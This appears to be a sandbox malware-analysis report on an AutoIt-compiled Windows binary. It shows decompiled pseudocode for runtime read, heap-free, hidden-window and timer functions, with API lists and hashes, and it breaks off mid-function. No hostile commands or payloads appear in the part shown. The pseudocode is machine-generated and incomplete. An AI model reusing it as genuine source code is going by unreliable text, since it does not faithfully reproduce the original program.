                                                                                                                                                                            control_flow_graph 786 414f10-414f2c 787 414f4f 786->787 788 414f2e-414f31 786->788 790 414f51-414f55 787->790 788->787 789 414f33-414f35 788->789 791 414f37-414f46 call 417f23 789->791 792 414f56-414f5b 789->792 803 414f47-414f4c call 417ebb 791->803 794 414f6a-414f6d 792->794 795 414f5d-414f68 792->795 798 414f7a-414f7c 794->798 799 414f6f-414f77 call 4131f0 794->799 795->794 797 414f8b-414f9e 795->797 801 414fa0-414fa6 797->801 802 414fa8 797->802 798->791 800 414f7e-414f89 798->800 799->798 800->791 800->797 805 414faf-414fb1 801->805 802->805 803->787 808 4150a1-4150a4 805->808 809 414fb7-414fbe 805->809 808->790 811 414fc0-414fc5 809->811 812 415004-415007 809->812 811->812 815 414fc7 811->815 813 415071-415072 call 41e6b1 812->813 814 415009-41500d 812->814 821 415077-41507b 813->821 817 41500f-415018 814->817 818 41502e-415035 814->818 819 415102 815->819 820 414fcd-414fd1 815->820 822 415023-415028 817->822 823 41501a-415021 817->823 825 415037 818->825 826 415039-41503c 818->826 824 415106-41510f 819->824 827 414fd3 820->827 828 414fd5-414fd8 820->828 821->824 829 415081-415085 821->829 830 41502a-41502c 822->830 823->830 824->790 825->826 831 415042-41504e call 41453a call 41ed9e 826->831 832 4150d5-4150d9 826->832 827->828 833 4150a9-4150af 828->833 834 414fde-414fff call 41ee9b 828->834 829->832 835 415087-415096 829->835 830->826 854 415053-415058 831->854 840 4150eb-4150fd call 417f23 832->840 841 4150db-4150e8 call 4131f0 832->841 836 4150b1-4150bd call 4131f0 833->836 837 4150c0-4150d0 call 417f23 833->837 843 415099-41509b 834->843 835->843 836->837 837->803 840->803 841->840 843->808 843->809 855 415114-415118 854->855 856 41505e-415061 854->856 855->824 856->819 857 415067-41506f 856->857 857->843
                                                                                                                                                                            C-Code - Quality: 85%
                                                                                                                                                                            			E00414F10(signed int __edx, char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				signed int _v8;
				char* _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t90;
				intOrPtr* _t92;
				signed int _t94;
				char _t97;
				signed int _t105;
				void* _t106;
				signed int _t107;
				signed int _t110;
				signed int _t113;
				intOrPtr* _t114;
				signed int _t118;
				signed int _t119;
				signed int _t120;
				char* _t121;
				signed int _t125;
				signed int _t131;
				signed int _t133;
				void* _t134;

				_t125 = __edx;
				_t121 = _a4;
				_t119 = _a8;
				_t131 = 0;
				_v12 = _t121;
				_v8 = _t119;
				if(_a12 == 0 || _a16 == 0) {
					L5:
					return 0;
				} else {
					_t138 = _t121;
					if(_t121 != 0) {
						_t133 = _a20;
						__eflags = _t133;
						if(_t133 == 0) {
							L9:
							__eflags = _t119 - 0xffffffff;
							if(_t119 != 0xffffffff) {
								_t90 = E004131F0(_t131, _t121, _t131, _t119);
								_t134 = _t134 + 0xc;
							}
							__eflags = _t133 - _t131;
							if(__eflags == 0) {
								goto L3;
							} else {
								_t94 = _t90 | 0xffffffff;
								_t125 = _t94 % _a12;
								__eflags = _a16 - _t94 / _a12;
								if(__eflags > 0) {
									goto L3;
								}
								L13:
								_t131 = _a12 * _a16;
								__eflags =  *(_t133 + 0xc) & 0x0000010c;
								_v20 = _t131;
								_t120 = _t131;
								if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
									_v16 = 0x1000;
								} else {
									_v16 =  *((intOrPtr*)(_t133 + 0x18));
								}
								__eflags = _t131;
								if(_t131 == 0) {
									L40:
									return _a16;
								} else {
									do {
										__eflags =  *(_t133 + 0xc) & 0x0000010c;
										if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
											L24:
											__eflags = _t120 - _v16;
											if(_t120 < _v16) {
												_t97 = E0041E6B1(_t120, _t125, _t133); // executed
												__eflags = _t97 - 0xffffffff;
												if(_t97 == 0xffffffff) {
													L48:
													return (_t131 - _t120) / _a12;
												}
												__eflags = _v8;
												if(_v8 == 0) {
													L44:
													__eflags = _a8 - 0xffffffff;
													if(__eflags != 0) {
														E004131F0(_t131, _a4, 0, _a8);
														_t134 = _t134 + 0xc;
													}
													 *((intOrPtr*)(E00417F23(__eflags))) = 0x22;
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													L4:
													E00417EBB(_t125, _t131, _t133);
													goto L5;
												}
												_t123 = _v12;
												_v12 = _v12 + 1;
												 *_v12 = _t97;
												_t120 = _t120 - 1;
												_t70 =  &_v8;
												 *_t70 = _v8 - 1;
												__eflags =  *_t70;
												_v16 =  *((intOrPtr*)(_t133 + 0x18));
												goto L39;
											}
											__eflags = _v16;
											if(_v16 == 0) {
												_t105 = 0x7fffffff;
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t105 = _t120;
												}
											} else {
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t55 = _t120 % _v16;
													__eflags = _t55;
													_t125 = _t55;
													_t110 = _t120;
												} else {
													_t125 = 0x7fffffff % _v16;
													_t110 = 0x7fffffff;
												}
												_t105 = _t110 - _t125;
											}
											__eflags = _t105 - _v8;
											if(_t105 > _v8) {
												goto L44;
											} else {
												_push(_t105);
												_push(_v12);
												_t106 = E0041453A(_t125, _t131, _t133);
												_pop(_t123);
												_push(_t106); // executed
												_t107 = E0041ED9E(_t120, _t125, _t131, _t133, __eflags); // executed
												_t134 = _t134 + 0xc;
												__eflags = _t107;
												if(_t107 == 0) {
													 *(_t133 + 0xc) =  *(_t133 + 0xc) | 0x00000010;
													goto L48;
												}
												__eflags = _t107 - 0xffffffff;
												if(_t107 == 0xffffffff) {
													L47:
													_t80 = _t133 + 0xc;
													 *_t80 =  *(_t133 + 0xc) | 0x00000020;
													__eflags =  *_t80;
													goto L48;
												}
												_v12 = _v12 + _t107;
												_t120 = _t120 - _t107;
												_v8 = _v8 - _t107;
												goto L39;
											}
										}
										_t113 =  *(_t133 + 4);
										__eflags = _t113;
										if(__eflags == 0) {
											goto L24;
										}
										if(__eflags < 0) {
											goto L47;
										}
										_t131 = _t120;
										__eflags = _t120 - _t113;
										if(_t120 >= _t113) {
											_t131 = _t113;
										}
										__eflags = _t131 - _v8;
										if(_t131 > _v8) {
											_t133 = 0;
											__eflags = _a8 - 0xffffffff;
											if(__eflags != 0) {
												E004131F0(_t131, _a4, 0, _a8);
												_t134 = _t134 + 0xc;
											}
											_t114 = E00417F23(__eflags);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											 *_t114 = 0x22;
											_push(_t133);
											goto L4;
										} else {
											E0041EE9B(_t120, _t123, _t125, _v12, _v8,  *_t133, _t131);
											 *(_t133 + 4) =  *(_t133 + 4) - _t131;
											 *_t133 =  *_t133 + _t131;
											_v12 = _v12 + _t131;
											_t120 = _t120 - _t131;
											_t134 = _t134 + 0x10;
											_v8 = _v8 - _t131;
											_t131 = _v20;
										}
										L39:
										__eflags = _t120;
									} while (_t120 != 0);
									goto L40;
								}
							}
						}
						_t118 = _t90 | 0xffffffff;
						_t90 = _t118 / _a12;
						_t125 = _t118 % _a12;
						__eflags = _a16 - _t90;
						if(_a16 <= _t90) {
							goto L13;
						}
						goto L9;
					}
					L3:
					_t92 = E00417F23(_t138);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					 *_t92 = 0x16;
					_push(_t131);
					goto L4;
				}
			}





























                                                                                                                                                                            0x00414f10
                                                                                                                                                                            0x00414f18
                                                                                                                                                                            0x00414f1c
                                                                                                                                                                            0x00414f21
                                                                                                                                                                            0x00414f23
                                                                                                                                                                            0x00414f26
                                                                                                                                                                            0x00414f2c
                                                                                                                                                                            0x00414f4f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00414f33
                                                                                                                                                                            0x00414f33
                                                                                                                                                                            0x00414f35
                                                                                                                                                                            0x00414f56
                                                                                                                                                                            0x00414f59
                                                                                                                                                                            0x00414f5b
                                                                                                                                                                            0x00414f6a
                                                                                                                                                                            0x00414f6a
                                                                                                                                                                            0x00414f6d
                                                                                                                                                                            0x00414f72
                                                                                                                                                                            0x00414f77
                                                                                                                                                                            0x00414f77
                                                                                                                                                                            0x00414f7a
                                                                                                                                                                            0x00414f7c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00414f7e
                                                                                                                                                                            0x00414f7e
                                                                                                                                                                            0x00414f83
                                                                                                                                                                            0x00414f86
                                                                                                                                                                            0x00414f89
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00414f8b
                                                                                                                                                                            0x00414f8e
                                                                                                                                                                            0x00414f92
                                                                                                                                                                            0x00414f99
                                                                                                                                                                            0x00414f9c
                                                                                                                                                                            0x00414f9e
                                                                                                                                                                            0x00414fa8
                                                                                                                                                                            0x00414fa0
                                                                                                                                                                            0x00414fa3
                                                                                                                                                                            0x00414fa3
                                                                                                                                                                            0x00414faf
                                                                                                                                                                            0x00414fb1
                                                                                                                                                                            0x004150a1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00414fb7
                                                                                                                                                                            0x00414fb7
                                                                                                                                                                            0x00414fb7
                                                                                                                                                                            0x00414fbe
                                                                                                                                                                            0x00415004
                                                                                                                                                                            0x00415004
                                                                                                                                                                            0x00415007
                                                                                                                                                                            0x00415072
                                                                                                                                                                            0x00415078
                                                                                                                                                                            0x0041507b
                                                                                                                                                                            0x00415106
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0041510c
                                                                                                                                                                            0x00415081
                                                                                                                                                                            0x00415085
                                                                                                                                                                            0x004150d5
                                                                                                                                                                            0x004150d5
                                                                                                                                                                            0x004150d9
                                                                                                                                                                            0x004150e3
                                                                                                                                                                            0x004150e8
                                                                                                                                                                            0x004150e8
                                                                                                                                                                            0x004150f0
                                                                                                                                                                            0x004150f8
                                                                                                                                                                            0x004150f9
                                                                                                                                                                            0x004150fa
                                                                                                                                                                            0x004150fb
                                                                                                                                                                            0x004150fc
                                                                                                                                                                            0x00414f47
                                                                                                                                                                            0x00414f47
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00414f4c
                                                                                                                                                                            0x00415087
                                                                                                                                                                            0x0041508a
                                                                                                                                                                            0x0041508d
                                                                                                                                                                            0x00415092
                                                                                                                                                                            0x00415093
                                                                                                                                                                            0x00415093
                                                                                                                                                                            0x00415093
                                                                                                                                                                            0x00415096
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00415096
                                                                                                                                                                            0x00415009
                                                                                                                                                                            0x0041500d
                                                                                                                                                                            0x0041502e
                                                                                                                                                                            0x00415033
                                                                                                                                                                            0x00415035
                                                                                                                                                                            0x00415037
                                                                                                                                                                            0x00415037
                                                                                                                                                                            0x0041500f
                                                                                                                                                                            0x00415016
                                                                                                                                                                            0x00415018
                                                                                                                                                                            0x00415025
                                                                                                                                                                            0x00415025
                                                                                                                                                                            0x00415025
                                                                                                                                                                            0x00415028
                                                                                                                                                                            0x0041501a
                                                                                                                                                                            0x0041501c
                                                                                                                                                                            0x0041501f
                                                                                                                                                                            0x0041501f
                                                                                                                                                                            0x0041502a
                                                                                                                                                                            0x0041502a
                                                                                                                                                                            0x00415039
                                                                                                                                                                            0x0041503c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00415042
                                                                                                                                                                            0x00415042
                                                                                                                                                                            0x00415043
                                                                                                                                                                            0x00415047
                                                                                                                                                                            0x0041504c
                                                                                                                                                                            0x0041504d
                                                                                                                                                                            0x0041504e
                                                                                                                                                                            0x00415053
                                                                                                                                                                            0x00415056
                                                                                                                                                                            0x00415058
                                                                                                                                                                            0x00415114
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00415114
                                                                                                                                                                            0x0041505e
                                                                                                                                                                            0x00415061
                                                                                                                                                                            0x00415102
                                                                                                                                                                            0x00415102
                                                                                                                                                                            0x00415102
                                                                                                                                                                            0x00415102
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00415102
                                                                                                                                                                            0x00415067
                                                                                                                                                                            0x0041506a
                                                                                                                                                                            0x0041506c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0041506c
                                                                                                                                                                            0x0041503c
                                                                                                                                                                            0x00414fc0
                                                                                                                                                                            0x00414fc3
                                                                                                                                                                            0x00414fc5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00414fc7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00414fcd
                                                                                                                                                                            0x00414fcf
                                                                                                                                                                            0x00414fd1
                                                                                                                                                                            0x00414fd3
                                                                                                                                                                            0x00414fd3
                                                                                                                                                                            0x00414fd5
                                                                                                                                                                            0x00414fd8
                                                                                                                                                                            0x004150a9
                                                                                                                                                                            0x004150ab
                                                                                                                                                                            0x004150af
                                                                                                                                                                            0x004150b8
                                                                                                                                                                            0x004150bd
                                                                                                                                                                            0x004150bd
                                                                                                                                                                            0x004150c0
                                                                                                                                                                            0x004150c5
                                                                                                                                                                            0x004150c6
                                                                                                                                                                            0x004150c7
                                                                                                                                                                            0x004150c8
                                                                                                                                                                            0x004150c9
                                                                                                                                                                            0x004150cf
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00414fde
                                                                                                                                                                            0x00414fe7
                                                                                                                                                                            0x00414fec
                                                                                                                                                                            0x00414fef
                                                                                                                                                                            0x00414ff1
                                                                                                                                                                            0x00414ff4
                                                                                                                                                                            0x00414ff6
                                                                                                                                                                            0x00414ff9
                                                                                                                                                                            0x00414ffc
                                                                                                                                                                            0x00414ffc
                                                                                                                                                                            0x00415099
                                                                                                                                                                            0x00415099
                                                                                                                                                                            0x00415099
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00414fb7
                                                                                                                                                                            0x00414fb1
                                                                                                                                                                            0x00414f7c
                                                                                                                                                                            0x00414f5d
                                                                                                                                                                            0x00414f62
                                                                                                                                                                            0x00414f62
                                                                                                                                                                            0x00414f65
                                                                                                                                                                            0x00414f68
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00414f68
                                                                                                                                                                            0x00414f37
                                                                                                                                                                            0x00414f37
                                                                                                                                                                            0x00414f3c
                                                                                                                                                                            0x00414f3d
                                                                                                                                                                            0x00414f3e
                                                                                                                                                                            0x00414f3f
                                                                                                                                                                            0x00414f40
                                                                                                                                                                            0x00414f46
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00414f46

                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3886058894-0
                                                                                                                                                                            • Opcode ID: f2485d93bcfe167600386a220f3dfbe0502d7b8fb096abab391be01cb981333f
                                                                                                                                                                            • Instruction ID: 085ef53bf2cba992f8731f00f2d52beda6aca72a1b803249d76dffc069a60243
                                                                                                                                                                            • Opcode Fuzzy Hash: f2485d93bcfe167600386a220f3dfbe0502d7b8fb096abab391be01cb981333f
                                                                                                                                                                            • Instruction Fuzzy Hash: CA510830900604EFCB208FA9C8445DFBBB5EFC5324F24825BF82596290D7799ED2CB99
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00401161 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51timewindowregistryCOMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00401161(void* __eax, void* __ebx, void* __edi, void* __fp0) {
				void* _t15;
				void* _t18;
				void* _t26;

				_t26 = __fp0;
				_t18 = __edi;
				_t15 = __ebx;
			}






                                                                                                                                                                            0x00401161
                                                                                                                                                                            0x00401161
                                                                                                                                                                            0x00401161

                                                                                                                                                                            APIs
                                                                                                                                                                            • KillTimer.USER32(?,00000001), ref: 00401178
                                                                                                                                                                            • PostQuitMessage.USER32(00000000), ref: 0040118A
                                                                                                                                                                            • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 004011CB
                                                                                                                                                                            • RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 004011D6
                                                                                                                                                                            • CreatePopupMenu.USER32 ref: 004011EE
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Timer$ClipboardCreateFormatKillMenuMessagePopupPostQuitRegister
                                                                                                                                                                            • String ID: TaskbarCreated
                                                                                                                                                                            • API String ID: 279767512-2362178303
                                                                                                                                                                            • Opcode ID: 4c70688f189b870509a26c7c5bf2f36572c81ec263cad35b2f1db9d226609c42
                                                                                                                                                                            • Instruction ID: 9ac6c3ecaa768f1ea1698d220d594d64e7d01d8954b4f99a9dd389ce918c891f
                                                                                                                                                                            • Opcode Fuzzy Hash: 4c70688f189b870509a26c7c5bf2f36572c81ec263cad35b2f1db9d226609c42
                                                                                                                                                                            • Instruction Fuzzy Hash: E901D832244108ABD750EFA4BD4DBAA7B68F7E9302F00457FFC01E6190E7B50860C7A8
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004103E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E004103E0() {
				struct HWND__* _t2;
				struct HWND__* _t3;
				int _t6;

				_t2 = CreateWindowExW(0, L"AutoIt v3", L"AutoIt v3", 0xcf0000, 0x80000000, 0x80000000, 0x12c, 0x64, 0, 0,  *0x4972c8, 0); // executed
				 *0x4972c0 = _t2; // executed
				_t3 = CreateWindowExW(0, L"edit", 0, 0x50b008c4, 0, 0, 0, 0, _t2, 1,  *0x4972c8, 0); // executed
				 *0x4972bc = _t3; // executed
				ShowWindow( *0x4972c0, 0); // executed
				_t6 = ShowWindow( *0x4972c0, 0); // executed
				return _t6;
			}






                                                                                                                                                                            0x00410415
                                                                                                                                                                            0x00410439
                                                                                                                                                                            0x0041043e
                                                                                                                                                                            0x0041044f
                                                                                                                                                                            0x00410454
                                                                                                                                                                            0x0041045e
                                                                                                                                                                            0x00410461

                                                                                                                                                                            APIs
                                                                                                                                                                            • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
                                                                                                                                                                            • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
                                                                                                                                                                            • ShowWindow.USER32(?,00000000), ref: 00410454
                                                                                                                                                                            • ShowWindow.USER32(?,00000000), ref: 0041045E
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window$CreateShow
                                                                                                                                                                            • String ID: AutoIt v3$edit
                                                                                                                                                                            • API String ID: 1584632944-3779509399
                                                                                                                                                                            • Opcode ID: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
                                                                                                                                                                            • Instruction ID: daa3d4afae2654ee996124117597f48fa5c574a0ac4b96d00400a8ba476d7f73
                                                                                                                                                                            • Opcode Fuzzy Hash: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
                                                                                                                                                                            • Instruction Fuzzy Hash: F3F0A975BE4310BAF6609754AC43F592B59A765F00F3445ABB700BF1D0D6E478408B9C
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00413A88 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 30%
                                                                                                                                                                            			E00413A88(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t24;
				void* _t26;

				_push(0xc);
				_push(0x48c758);
				_t8 = E0041718C(__ebx, __edi, __esi);
				_t24 =  *((intOrPtr*)(_t26 + 8));
				if(_t24 == 0) {
					L9:
					return E004171D1(_t8);
				}
				if( *0x4a94c0 != 3) {
					_push(_t24);
					L7:
					_push(0);
					_t8 = RtlFreeHeap( *0x496c0c); // executed
					_t32 = _t8;
					if(_t8 == 0) {
						_t10 = E00417F23(_t32);
						 *_t10 = E00417EE1(GetLastError());
					}
					goto L9;
				}
				E00418407(__ebx, 4);
				 *(_t26 - 4) =  *(_t26 - 4) & 0x00000000;
				_t13 = E00419F6D(_t24);
				 *((intOrPtr*)(_t26 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t24);
					_push(_t13);
					E00419F9D();
				}
				 *(_t26 - 4) = 0xfffffffe;
				_t8 = E00413ADE();
				if( *((intOrPtr*)(_t26 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t26 + 8)));
					goto L7;
				}
			}







                                                                                                                                                                            0x00413a88
                                                                                                                                                                            0x00413a8a
                                                                                                                                                                            0x00413a8f
                                                                                                                                                                            0x00413a94
                                                                                                                                                                            0x00413a99
                                                                                                                                                                            0x00413b10
                                                                                                                                                                            0x00413b15
                                                                                                                                                                            0x00413b15
                                                                                                                                                                            0x00413aa2
                                                                                                                                                                            0x00413ae7
                                                                                                                                                                            0x00413ae8
                                                                                                                                                                            0x00413ae8
                                                                                                                                                                            0x00413af0
                                                                                                                                                                            0x00413af6
                                                                                                                                                                            0x00413af8
                                                                                                                                                                            0x00413afa
                                                                                                                                                                            0x00413b0d
                                                                                                                                                                            0x00413b0f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00413af8
                                                                                                                                                                            0x00413aa6
                                                                                                                                                                            0x00413aac
                                                                                                                                                                            0x00413ab1
                                                                                                                                                                            0x00413ab7
                                                                                                                                                                            0x00413abc
                                                                                                                                                                            0x00413abe
                                                                                                                                                                            0x00413abf
                                                                                                                                                                            0x00413ac0
                                                                                                                                                                            0x00413ac6
                                                                                                                                                                            0x00413ac7
                                                                                                                                                                            0x00413ace
                                                                                                                                                                            0x00413ad7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00413ad9
                                                                                                                                                                            0x00413ad9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00413ad9

                                                                                                                                                                            APIs
                                                                                                                                                                            • __lock.LIBCMT ref: 00413AA6
                                                                                                                                                                              • Part of subcall function 00418407: __mtinitlocknum.LIBCMT ref: 0041841D
                                                                                                                                                                              • Part of subcall function 00418407: __amsg_exit.LIBCMT ref: 00418429
                                                                                                                                                                              • Part of subcall function 00418407: RtlEnterCriticalSection.NTDLL(?), ref: 00418431
                                                                                                                                                                            • ___sbh_find_block.LIBCMT ref: 00413AB1
                                                                                                                                                                            • ___sbh_free_block.LIBCMT ref: 00413AC0
                                                                                                                                                                            • RtlFreeHeap.NTDLL(00000000,00000000,0048C758,0000000C,004183E8,00000000,0048CA38,0000000C,00418422,00000000,?,?,004224D3,00000004,0048CCA0,0000000C), ref: 00413AF0
                                                                                                                                                                            • GetLastError.KERNEL32(?,004224D3,00000004,0048CCA0,0000000C,00417011,00000000,?,00000000,00000000,00000000,?,00416C24,00000001,00000214), ref: 00413B01
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2714421763-0
                                                                                                                                                                            • Opcode ID: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
                                                                                                                                                                            • Instruction ID: 54fb22c17cbd059cfb8714ef359fce415cc636064f476ff80f42ef981757bf49
                                                                                                                                                                            • Opcode Fuzzy Hash: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
                                                                                                                                                                            • Instruction Fuzzy Hash: 7401A731A08301BADF206F71AC09BDF3B64AF00759F10052FF544A6182DB7D9AC19B9C
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0040F5E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 92%
                                                                                                                                                                            			E0040F5E0(void* __edx, intOrPtr* __edi, void* __eflags, intOrPtr _a4) {
				char _v268;
				char _v412;
				void* _v432;
				void* __ebx;
				void* __esi;
				void* __ebp;
				signed int _t29;
				void* _t32;
				intOrPtr _t34;
				void* _t35;
				void* _t36;
				void* _t40;
				intOrPtr _t42;
				void* _t49;
				signed int _t51;
				void* _t53;
				signed int _t57;
				signed int _t59;
				void* _t65;
				signed int _t66;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t74;

				_t74 = __eflags;
				_t53 = __edx;
